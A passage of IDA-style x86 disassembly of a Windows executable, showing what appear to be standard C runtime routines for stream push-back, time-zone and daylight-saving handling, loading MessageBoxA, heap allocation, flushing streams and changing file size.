loc_41EB60:				; CODE XREF: sub_41EB50+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------


loc_41EB6A:				; CODE XREF: sub_41EB50+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_41EB50	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EB6F	proc near		; CODE XREF: sub_41C26B+Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 0FFFFFFFFh
		push	esi
		jz	short loc_41EBBB
		mov	esi, [esp+8+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 1
		jnz	short loc_41EB8D
		test	al, 80h
		jz	short loc_41EBBB
		test	al, 2
		jnz	short loc_41EBBB


loc_41EB8D:				; CODE XREF: sub_41EB6F+14j
		cmp	dword ptr [esi+8], 0
		jnz	short loc_41EB9A
		push	esi
		call	sub_41DAF8
		pop	ecx


loc_41EB9A:				; CODE XREF: sub_41EB6F+22j
		mov	eax, [esi]
		cmp	eax, [esi+8]
		jnz	short loc_41EBAA
		cmp	dword ptr [esi+4], 0
		jnz	short loc_41EBBB
		inc	eax
		mov	[esi], eax


loc_41EBAA:				; CODE XREF: sub_41EB6F+30j
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_41EBC1
		dec	dword ptr [esi]
		mov	eax, [esi]
		cmp	[eax], bl
		jz	short loc_41EBC7
		inc	eax
		mov	[esi], eax


loc_41EBBB:				; CODE XREF: sub_41EB6F+9j
					; sub_41EB6F+18j ...
		or	eax, 0FFFFFFFFh


loc_41EBBE:				; CODE XREF: sub_41EB6F+6Cj
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41EBC1:				; CODE XREF: sub_41EB6F+3Fj
		dec	dword ptr [esi]
		mov	eax, [esi]
		mov	[eax], bl


loc_41EBC7:				; CODE XREF: sub_41EB6F+47j
		mov	eax, [esi+0Ch]
		inc	dword ptr [esi+4]
		and	al, 0EFh
		or	al, 1
		mov	[esi+0Ch], eax
		mov	eax, ebx
		and	eax, 0FFh
		jmp	short loc_41EBBE
sub_41EB6F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EBDD	proc near		; CODE XREF: sub_41C2A6:loc_41C2E5p
		cmp	ds:dword_4C9348, 0
		jnz	short locret_41EBF1
		call	sub_41EBF2
		inc	ds:dword_4C9348

locret_41EBF1:				; CODE XREF: sub_41EBDD+7j
		retn
sub_41EBDD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EBF2	proc near		; CODE XREF: sub_41EBDD+9p

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		or	ebx, 0FFFFFFFFh
		push	offset aTz	; "TZ"
		xor	edi, edi
		mov	ds:dword_4C9290, ebp
		mov	ds:dword_431DD8, ebx
		mov	ds:dword_431DC8, ebx
		call	sub_41FECD
		mov	esi, eax
		pop	ecx
		cmp	esi, ebp
		jnz	loc_41ED1B
		push	offset dword_4C9298
		call	ds:dword_422174	; GetTimeZoneInformation
		cmp	eax, ebx
		jz	loc_41EE4A
		mov	eax, ds:dword_4C9298
		mov	ecx, ds:dword_4C92EC
		imul	eax, 3Ch
		cmp	ds:word_4C92DE,	bp
		push	1
		pop	edx
		mov	ds:dword_431D30, eax
		mov	ds:dword_4C9290, edx
		jz	short loc_41EC69
		mov	esi, ecx
		imul	esi, 3Ch
		add	eax, esi
		mov	ds:dword_431D30, eax


loc_41EC69:				; CODE XREF: sub_41EBF2+69j
		cmp	ds:word_4C9332,	bp
		jz	short loc_41EC8D
		mov	eax, ds:dword_4C9340
		cmp	eax, ebp
		jz	short loc_41EC8D
		sub	eax, ecx
		mov	ds:dword_431D34, edx
		imul	eax, 3Ch
		mov	ds:dword_431D38, eax
		jmp	short loc_41EC99
; ---------------------------------------------------------------------------


loc_41EC8D:				; CODE XREF: sub_41EBF2+7Ej
					; sub_41EBF2+87j
		mov	ds:dword_431D34, ebp
		mov	ds:dword_431D38, ebp


loc_41EC99:				; CODE XREF: sub_41EBF2+99j
		lea	eax, [esp+14h+var_4]
		mov	esi, ds:dword_422130
		push	eax
		push	ebp
		push	3Fh
		mov	edi, 220h
		push	ds:off_431DBC
		push	ebx
		push	offset dword_4C929C
		push	edi
		push	ds:dword_4C912C
		call	esi	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_41ECD6
		cmp	[esp+14h+var_4], ebp
		jnz	short loc_41ECD6
		mov	eax, ds:off_431DBC
		and	byte ptr [eax+3Fh], 0
		jmp	short loc_41ECDE
; ---------------------------------------------------------------------------


loc_41ECD6:				; CODE XREF: sub_41EBF2+D1j
					; sub_41EBF2+D7j
		mov	eax, ds:off_431DBC
		and	byte ptr [eax],	0


loc_41ECDE:				; CODE XREF: sub_41EBF2+E2j
		lea	eax, [esp+14h+var_4]
		push	eax
		push	ebp
		push	3Fh
		push	ds:off_431DC0
		push	ebx
		push	offset dword_4C92F0
		push	edi
		push	ds:dword_4C912C
		call	esi	; WideCharToMultiByte
		test	eax, eax
		jz	loc_41EE42
		cmp	[esp+14h+var_4], ebp
		jnz	loc_41EE42
		mov	eax, ds:off_431DC0
		and	byte ptr [eax+3Fh], 0
		jmp	loc_41EE4A
; ---------------------------------------------------------------------------


loc_41ED1B:				; CODE XREF: sub_41EBF2+2Dj
		cmp	byte ptr [esi],	0
		jz	loc_41EE4A
		mov	eax, ds:dword_4C9344
		cmp	eax, ebp
		jz	short loc_41ED3E
		push	eax
		push	esi
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41EE4A


loc_41ED3E:				; CODE XREF: sub_41EBF2+139j
		push	ds:dword_4C9344
		call	sub_415DE1
		push	esi
		call	sub_415C80
		inc	eax
		push	eax
		call	sub_415D2F
		add	esp, 0Ch
		cmp	eax, ebp
		mov	ds:dword_4C9344, eax
		jz	loc_41EE4A
		push	esi
		push	eax
		call	sub_415B90
		push	3
		push	esi
		push	ds:off_431DBC
		call	sub_416D30
		mov	eax, ds:off_431DBC
		add	esi, 3
		add	esp, 14h
		and	byte ptr [eax+3], 0
		cmp	byte ptr [esi],	2Dh
		jnz	short loc_41ED93
		push	1
		inc	esi
		pop	edi


loc_41ED93:				; CODE XREF: sub_41EBF2+19Bj
		push	esi
		call	sub_415964
		pop	ecx
		mov	bl, 30h
		mov	ecx, eax
		imul	ecx, 0E10h
		mov	ds:dword_431D30, ecx


loc_41EDAA:				; CODE XREF: sub_41EBF2+1C7j
		mov	al, [esi]
		cmp	al, 2Bh
		jz	short loc_41EDB8
		cmp	al, bl
		jl	short loc_41EDBB
		cmp	al, 39h
		jg	short loc_41EDBB


loc_41EDB8:				; CODE XREF: sub_41EBF2+1BCj
		inc	esi
		jmp	short loc_41EDAA
; ---------------------------------------------------------------------------


loc_41EDBB:				; CODE XREF: sub_41EBF2+1C0j
					; sub_41EBF2+1C4j
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_41EE0E
		inc	esi
		push	esi
		call	sub_415964
		imul	eax, 3Ch
		pop	ecx
		mov	ecx, ds:dword_431D30
		add	ecx, eax
		mov	ds:dword_431D30, ecx


loc_41EDD9:				; CODE XREF: sub_41EBF2+1F2j
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_41EDE6
		cmp	al, 39h
		jg	short loc_41EDE6
		inc	esi
		jmp	short loc_41EDD9
; ---------------------------------------------------------------------------


loc_41EDE6:				; CODE XREF: sub_41EBF2+1EBj
					; sub_41EBF2+1EFj
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_41EE0E
		inc	esi
		push	esi
		call	sub_415964
		pop	ecx
		mov	ecx, ds:dword_431D30
		add	ecx, eax
		mov	ds:dword_431D30, ecx


loc_41EE01:				; CODE XREF: sub_41EBF2+21Aj
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_41EE0E
		cmp	al, 39h
		jg	short loc_41EE0E
		inc	esi
		jmp	short loc_41EE01
; ---------------------------------------------------------------------------


loc_41EE0E:				; CODE XREF: sub_41EBF2+1CCj
					; sub_41EBF2+1F7j ...
		cmp	edi, ebp
		jz	short loc_41EE1A
		neg	ecx
		mov	ds:dword_431D30, ecx


loc_41EE1A:				; CODE XREF: sub_41EBF2+21Ej
		movsx	eax, byte ptr [esi]
		cmp	eax, ebp
		mov	ds:dword_431D34, eax
		jz	short loc_41EE42
		push	3
		push	esi
		push	ds:off_431DC0
		call	sub_416D30
		mov	eax, ds:off_431DC0
		add	esp, 0Ch
		and	byte ptr [eax+3], 0
		jmp	short loc_41EE4A
; ---------------------------------------------------------------------------


loc_41EE42:				; CODE XREF: sub_41EBF2+10Bj
					; sub_41EBF2+115j ...
		mov	eax, ds:off_431DC0
		and	byte ptr [eax],	0


loc_41EE4A:				; CODE XREF: sub_41EBF2+40j
					; sub_41EBF2+124j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_41EBF2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EE50	proc near		; CODE XREF: sub_41C2A6+A5p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	ds:dword_431D34, edi
		jnz	short loc_41EE64


loc_41EE5D:				; CODE XREF: sub_41EE50+148j
					; sub_41EE50+150j ...
		xor	eax, eax
		jmp	loc_41EFB0
; ---------------------------------------------------------------------------


loc_41EE64:				; CODE XREF: sub_41EE50+Bj
		mov	esi, [esp+0Ch+arg_0]
		push	1
		pop	ebx
		mov	eax, [esi+14h]
		cmp	eax, ds:dword_431DC8
		jnz	short loc_41EE82
		cmp	eax, ds:dword_431DD8
		jz	loc_41EF84


loc_41EE82:				; CODE XREF: sub_41EE50+24j
		cmp	ds:dword_4C9290, edi
		jz	loc_41EF5A
		movzx	ecx, ds:word_4C933E
		push	ecx
		cmp	ds:word_4C9330,	di
		movzx	ecx, ds:word_4C933C
		push	ecx
		movzx	ecx, ds:word_4C933A
		push	ecx
		movzx	ecx, ds:word_4C9338
		push	ecx
		jnz	short loc_41EED4
		movzx	ecx, ds:word_4C9334
		push	edi
		push	ecx
		movzx	ecx, ds:word_4C9336
		push	ecx
		movzx	ecx, ds:word_4C9332
		push	ecx
		push	eax
		push	ebx
		jmp	short loc_41EEE8
; ---------------------------------------------------------------------------


loc_41EED4:				; CODE XREF: sub_41EE50+65j
		movzx	ecx, ds:word_4C9336
		push	ecx
		push	edi
		movzx	ecx, ds:word_4C9332
		push	edi
		push	ecx
		push	eax
		push	edi


loc_41EEE8:				; CODE XREF: sub_41EE50+82j
		push	ebx
		call	sub_41EFFC
		movzx	eax, ds:word_4C92EA
		add	esp, 2Ch
		cmp	ds:word_4C92DC,	di
		push	eax
		movzx	eax, ds:word_4C92E8
		push	eax
		movzx	eax, ds:word_4C92E6
		push	eax
		movzx	eax, ds:word_4C92E4
		push	eax
		jnz	short loc_41EF42
		movzx	eax, ds:word_4C92E0
		push	edi
		push	eax
		movzx	eax, ds:word_4C92E2
		push	eax
		movzx	eax, ds:word_4C92DE
		push	eax
		push	dword ptr [esi+14h]
		push	ebx


loc_41EF37:				; CODE XREF: sub_41EE50+108j
		push	edi
		call	sub_41EFFC
		add	esp, 2Ch
		jmp	short loc_41EF84
; ---------------------------------------------------------------------------


loc_41EF42:				; CODE XREF: sub_41EE50+C8j
		movzx	eax, ds:word_4C92E2
		push	eax
		push	edi
		movzx	eax, ds:word_4C92DE
		push	edi
		push	eax
		push	dword ptr [esi+14h]
		push	edi
		jmp	short loc_41EF37
; ---------------------------------------------------------------------------


loc_41EF5A:				; CODE XREF: sub_41EE50+38j
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	ebx
		push	4
		push	eax
		push	ebx
		push	ebx
		call	sub_41EFFC
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	5
		push	0Ah
		push	dword ptr [esi+14h]
		push	ebx
		push	edi
		call	sub_41EFFC
		add	esp, 58h


loc_41EF84:				; CODE XREF: sub_41EE50+2Cj
					; sub_41EE50+F0j
		mov	edx, ds:dword_431DCC
		mov	eax, ds:dword_431DDC
		mov	ecx, [esi+1Ch]
		cmp	edx, eax
		jge	short loc_41EFB4
		cmp	ecx, edx
		jl	loc_41EE5D
		cmp	ecx, eax
		jg	loc_41EE5D
		cmp	ecx, edx
		jle	short loc_41EFC8
		cmp	ecx, eax
		jge	short loc_41EFC8


loc_41EFAE:				; CODE XREF: sub_41EE50+166j
					; sub_41EE50+16Aj
		mov	eax, ebx


loc_41EFB0:				; CODE XREF: sub_41EE50+Fj
					; sub_41EE50+19Dj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41EFB4:				; CODE XREF: sub_41EE50+144j
		cmp	ecx, eax
		jl	short loc_41EFAE
		cmp	ecx, edx
		jg	short loc_41EFAE
		cmp	ecx, eax
		jle	short loc_41EFC8
		cmp	ecx, edx
		jl	loc_41EE5D


loc_41EFC8:				; CODE XREF: sub_41EE50+158j
					; sub_41EE50+15Cj ...
		mov	eax, [esi+8]
		imul	eax, 3Ch
		add	eax, [esi+4]
		imul	eax, 3Ch
		add	eax, [esi]
		imul	eax, 3E8h
		cmp	ecx, edx
		jnz	short loc_41EFEF
		xor	ecx, ecx
		cmp	eax, ds:dword_431DD0
		setnl	cl


loc_41EFEB:				; CODE XREF: sub_41EE50+1AAj
		mov	eax, ecx
		jmp	short loc_41EFB0
; ---------------------------------------------------------------------------


loc_41EFEF:				; CODE XREF: sub_41EE50+18Ej
		xor	ecx, ecx
		cmp	eax, ds:dword_431DE0
		setl	cl
		jmp	short loc_41EFEB
sub_41EE50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EFFC	proc near		; CODE XREF: sub_41EE50+99p
					; sub_41EE50+E8p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 1
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	esi
		jnz	loc_41F097
		mov	eax, [ebp+arg_C]
		mov	[ebp+arg_8], ebx
		and	[ebp+arg_8], 3
		mov	esi, eax
		jnz	short loc_41F027
		shl	esi, 2
		mov	eax, ds:dword_431DE0[esi]
		jmp	short loc_41F030
; ---------------------------------------------------------------------------


loc_41F027:				; CODE XREF: sub_41EFFC+1Ej
		shl	esi, 2
		mov	eax, ds:dword_431E14[esi]


loc_41F030:				; CODE XREF: sub_41EFFC+29j
		mov	edx, ebx
		lea	ecx, [eax+1]
		imul	edx, 16Dh
		lea	eax, [ebx-1]
		push	edi
		sar	eax, 2
		mov	edi, ecx
		push	7
		add	edi, eax
		lea	eax, [edx+edi-63DBh]
		pop	edi
		cdq
		idiv	edi
		mov	eax, [ebp+arg_10]
		pop	edi
		cmp	edx, [ebp+arg_14]
		jg	short loc_41F06A
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		lea	ecx, [ecx+eax-7]
		jmp	short loc_41F074
; ---------------------------------------------------------------------------


loc_41F06A:				; CODE XREF: sub_41EFFC+5Ej
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		add	ecx, eax


loc_41F074:				; CODE XREF: sub_41EFFC+6Cj
		cmp	[ebp+arg_10], 5
		jnz	short loc_41F0B2
		cmp	[ebp+arg_8], 0
		jnz	short loc_41F088
		mov	esi, ds:dword_431DE4[esi]
		jmp	short loc_41F08E
; ---------------------------------------------------------------------------


loc_41F088:				; CODE XREF: sub_41EFFC+82j
		mov	esi, ds:dword_431E18[esi]


loc_41F08E:				; CODE XREF: sub_41EFFC+8Aj
		cmp	ecx, esi
		jle	short loc_41F0B2
		sub	ecx, 7
		jmp	short loc_41F0B2
; ---------------------------------------------------------------------------


loc_41F097:				; CODE XREF: sub_41EFFC+Cj
		mov	eax, [ebp+arg_C]
		test	bl, 3
		jnz	short loc_41F0A8
		mov	ecx, ds:dword_431DE0[eax*4]
		jmp	short loc_41F0AF
; ---------------------------------------------------------------------------


loc_41F0A8:				; CODE XREF: sub_41EFFC+A1j
		mov	ecx, ds:dword_431E14[eax*4]


loc_41F0AF:				; CODE XREF: sub_41EFFC+AAj
		add	ecx, [ebp+arg_18]


loc_41F0B2:				; CODE XREF: sub_41EFFC+7Cj
					; sub_41EFFC+94j ...
		cmp	[ebp+arg_0], 1
		jnz	short loc_41F0E3
		mov	eax, [ebp+arg_1C]
		mov	ds:dword_431DCC, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		mov	ds:dword_431DC8, ebx
		imul	eax, 3Ch
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	ds:dword_431DD0, eax
		jmp	short loc_41F138
; ---------------------------------------------------------------------------


loc_41F0E3:				; CODE XREF: sub_41EFFC+BAj
		mov	eax, [ebp+arg_1C]
		mov	ds:dword_431DDC, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		imul	eax, 3Ch
		add	eax, ds:dword_431D38
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	ds:dword_431DE0, eax
		jns	short loc_41F11B
		add	eax, 5265C00h
		dec	ecx
		mov	ds:dword_431DE0, eax
		jmp	short loc_41F12C
; ---------------------------------------------------------------------------


loc_41F11B:				; CODE XREF: sub_41EFFC+110j
		mov	edx, 5265C00h
		cmp	eax, edx
		jl	short loc_41F132
		sub	eax, edx
		inc	ecx
		mov	ds:dword_431DE0, eax


loc_41F12C:				; CODE XREF: sub_41EFFC+11Dj
		mov	ds:dword_431DDC, ecx


loc_41F132:				; CODE XREF: sub_41EFFC+126j
		mov	ds:dword_431DD8, ebx


loc_41F138:				; CODE XREF: sub_41EFFC+E5j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41EFFC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F13C	proc near		; CODE XREF: sub_41D24F+2Bp

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_41F14D
		add	esp, 0Ch
		retn
sub_41F13C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F14D	proc near		; CODE XREF: sub_41F13C+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	ds:byte_4CA5E1[eax], cl
		jnz	short loc_41F17A
		cmp	[esp+arg_4], 0
		jz	short loc_41F173
		movzx	eax, ds:word_42F36A[eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_41F175
; ---------------------------------------------------------------------------


loc_41F173:				; CODE XREF: sub_41F14D+16j
		xor	eax, eax


loc_41F175:				; CODE XREF: sub_41F14D+24j
		test	eax, eax
		jnz	short loc_41F17A
		retn
; ---------------------------------------------------------------------------


loc_41F17A:				; CODE XREF: sub_41F14D+Fj
					; sub_41F14D+2Aj
		push	1
		pop	eax
		retn
sub_41F14D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F17E	proc near		; CODE XREF: sub_41D9A5+11Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		xor	ebx, ebx
		cmp	ds:dword_4C934C, ebx
		push	esi
		push	edi
		jnz	short loc_41F1CD
		push	offset aUser32_dll ; "user32.dll"
		call	ds:off_4220C0
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_41F203
		mov	esi, ds:off_4220BC
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi ; sub_4DB076
		test	eax, eax
		mov	ds:dword_4C934C, eax
		jz	short loc_41F203
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi ; sub_4DB076
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	ds:dword_4C9350, eax
		call	esi ; sub_4DB076
		mov	ds:dword_4C9354, eax


loc_41F1CD:				; CODE XREF: sub_41F17E+Bj
		mov	eax, ds:dword_4C9350
		test	eax, eax
		jz	short loc_41F1EC
		call	eax
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_41F1EC
		mov	eax, ds:dword_4C9354
		test	eax, eax
		jz	short loc_41F1EC
		push	ebx
		call	eax
		mov	ebx, eax


loc_41F1EC:				; CODE XREF: sub_41F17E+56j
					; sub_41F17E+5Ej ...
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		push	ebx
		call	ds:dword_4C934C


loc_41F1FF:				; CODE XREF: sub_41F17E+87j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41F203:				; CODE XREF: sub_41F17E+1Cj
					; sub_41F17E+33j
		xor	eax, eax
		jmp	short loc_41F1FF
sub_41F17E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F207	proc near		; CODE XREF: _0:0041DB84p _0:0041DB9Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		imul	esi, [ebp+arg_4]
		cmp	esi, 0FFFFFFE0h
		push	edi
		mov	[ebp+arg_0], esi
		ja	short loc_41F228
		test	esi, esi
		jnz	short loc_41F222
		push	1
		pop	esi


loc_41F222:				; CODE XREF: sub_41F207+16j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_41F228:				; CODE XREF: sub_41F207+12j
					; sub_41F207+94j
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41F287
		mov	eax, ds:dword_4CA708
		cmp	eax, 3
		jnz	short loc_41F253
		mov	eax, [ebp+arg_0]
		cmp	eax, ds:dword_4CA700
		ja	short loc_41F272
		push	eax
		call	sub_4191FD
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_41F29D
		jmp	short loc_41F272
; ---------------------------------------------------------------------------


loc_41F253:				; CODE XREF: sub_41F207+30j
		cmp	eax, 2
		jnz	short loc_41F272
		cmp	esi, ds:dword_4315A4
		ja	short loc_41F272
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_419CA0
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_41F2B1


loc_41F272:				; CODE XREF: sub_41F207+3Bj
					; sub_41F207+4Aj ...
		push	esi
		push	8
		push	ds:dword_4CA704
		call	ds:dword_4220C8	; RtlAllocateHeap
		mov	edi, eax
		test	edi, edi
		jnz	short loc_41F2AB


loc_41F287:				; CODE XREF: sub_41F207+26j
		cmp	ds:dword_4C90E4, 0
		jz	short loc_41F2AB
		push	esi
		call	sub_418C74
		test	eax, eax
		pop	ecx
		jz	short loc_41F2B4
		jmp	short loc_41F228
; ---------------------------------------------------------------------------


loc_41F29D:				; CODE XREF: sub_41F207+48j
		push	[ebp+arg_0]


loc_41F2A0:				; CODE XREF: sub_41F207+ABj
		push	0
		push	edi
		call	sub_415500
		add	esp, 0Ch


loc_41F2AB:				; CODE XREF: sub_41F207+7Ej
					; sub_41F207+87j
		mov	eax, edi


loc_41F2AD:				; CODE XREF: sub_41F207+AFj
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41F2B1:				; CODE XREF: sub_41F207+69j
		push	esi
		jmp	short loc_41F2A0
; ---------------------------------------------------------------------------


loc_41F2B4:				; CODE XREF: sub_41F207+92j
		xor	eax, eax
		jmp	short loc_41F2AD
sub_41F207	endp

; ---------------------------------------------------------------------------


loc_41F2B8:				; CODE XREF: _0:0041DC15j
		push	esi
		push	edi
		push	3
		xor	edi, edi
		pop	esi
		cmp	ds:dword_4CA3A0, esi
		jle	short loc_41F30B


loc_41F2C7:				; CODE XREF: _0:0041F309j
		mov	eax, ds:dword_4C9380
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_41F302
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_41F2E6
		push	eax
		call	sub_415AD0
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41F2E6
		inc	edi


loc_41F2E6:				; CODE XREF: _0:0041F2D7j _0:0041F2E3j
		cmp	esi, 14h
		jl	short loc_41F302
		mov	eax, ds:dword_4C9380
		push	dword ptr [eax+esi*4]
		call	sub_415DE1
		mov	eax, ds:dword_4C9380
		pop	ecx
		and	dword ptr [eax+esi*4], 0


loc_41F302:				; CODE XREF: _0:0041F2D1j _0:0041F2E9j
		inc	esi
		cmp	esi, ds:dword_4CA3A0
		jl	short loc_41F2C7


loc_41F30B:				; CODE XREF: _0:0041F2C5j
		mov	eax, edi
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F310	proc near		; CODE XREF: sub_41DFE6+271p

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_415D00
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ebx, ds:dword_4CA4C0
		jnb	loc_41F445
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, ds:dword_4CA3C0[eax*4]
		test	byte ptr [eax+ecx*8+4],	1
		jz	loc_41F445
		push	1
		push	esi
		push	ebx
		call	sub_41C637
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_41F44F
		push	2
		push	esi
		push	ebx
		call	sub_41C637
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_41F44F
		push	edi
		mov	edi, [ebp+arg_4]
		sub	edi, eax
		test	edi, edi
		jle	short loc_41F3F2
		push	1000h
		lea	eax, [ebp+var_1000]
		push	esi
		push	eax
		call	sub_415500
		push	8000h
		push	ebx
		call	sub_41FF4A
		add	esp, 14h
		mov	[ebp+arg_4], eax


loc_41F3A6:				; CODE XREF: sub_41F310+BDj
		mov	eax, 1000h
		cmp	edi, eax
		jge	short loc_41F3B1
		mov	eax, edi


loc_41F3B1:				; CODE XREF: sub_41F310+9Dj
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	ebx
		call	sub_41CEB7
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41F3CF
		sub	edi, eax
		test	edi, edi
		jle	short loc_41F3E5
		jmp	short loc_41F3A6
; ---------------------------------------------------------------------------


loc_41F3CF:				; CODE XREF: sub_41F310+B5j
		cmp	ds:dword_4C9088, 5
		jnz	short loc_41F3E2
		mov	ds:dword_4C9084, 0Dh


loc_41F3E2:				; CODE XREF: sub_41F310+C6j
		or	esi, 0FFFFFFFFh


loc_41F3E5:				; CODE XREF: sub_41F310+BBj
		push	[ebp+arg_4]
		push	ebx
		call	sub_41FF4A
		pop	ecx
		pop	ecx
		jmp	short loc_41F432
; ---------------------------------------------------------------------------


loc_41F3F2:				; CODE XREF: sub_41F310+71j
		jge	short loc_41F432
		push	0
		push	[ebp+arg_4]
		push	ebx
		call	sub_41C637
		push	ebx
		call	sub_41DF52
		add	esp, 10h
		push	eax
		call	ds:dword_422010	; SetEndOfFile
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		neg	esi
		dec	esi
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41F432
		mov	ds:dword_4C9084, 0Dh
		call	ds:dword_42206C	; RtlGetLastWin32Error
		mov	ds:dword_4C9088, eax


loc_41F432:				; CODE XREF: sub_41F310+E0j
					; sub_41F310:loc_41F3F2j ...
		push	0
		push	[ebp+arg_0]
		push	ebx
		call	sub_41C637
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		jmp	short loc_41F452
; ---------------------------------------------------------------------------


loc_41F445:				; CODE XREF: sub_41F310+1Aj
					; sub_41F310+36j
		mov	ds:dword_4C9084, 9


loc_41F44F:				; CODE XREF: sub_41F310+4Ej
					; sub_41F310+63j
		or	eax, 0FFFFFFFFh


loc_41F452:				; CODE XREF: sub_41F310+133j
		pop	esi
		pop	ebx
		leave
		retn
sub_41F310	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F456	proc near		; CODE XREF: sub_41E451+2Bp
					; sub_41E451+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		lea	ecx, [edx+esi]
		cmp	ecx, edx
		jb	short loc_41F46C
		cmp	ecx, esi
		jnb	short loc_41F46F


loc_41F46C:				; CODE XREF: sub_41F456+10j
		push	1
		pop	eax


loc_41F46F:				; CODE XREF: sub_41F456+14j
		mov	edx, [esp+4+arg_8]
		pop	esi
		mov	[edx], ecx
		retn
sub_41F456	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F477	proc near		; CODE XREF: sub_41F530+40p
					; sub_41F530+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	esi
		push	dword ptr [edi]
		push	dword ptr [esi]
		call	sub_41F456
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41F4A9
		lea	eax, [esi+4]
		push	eax
		push	1
		push	dword ptr [eax]
		call	sub_41F456
		add	esp, 0Ch
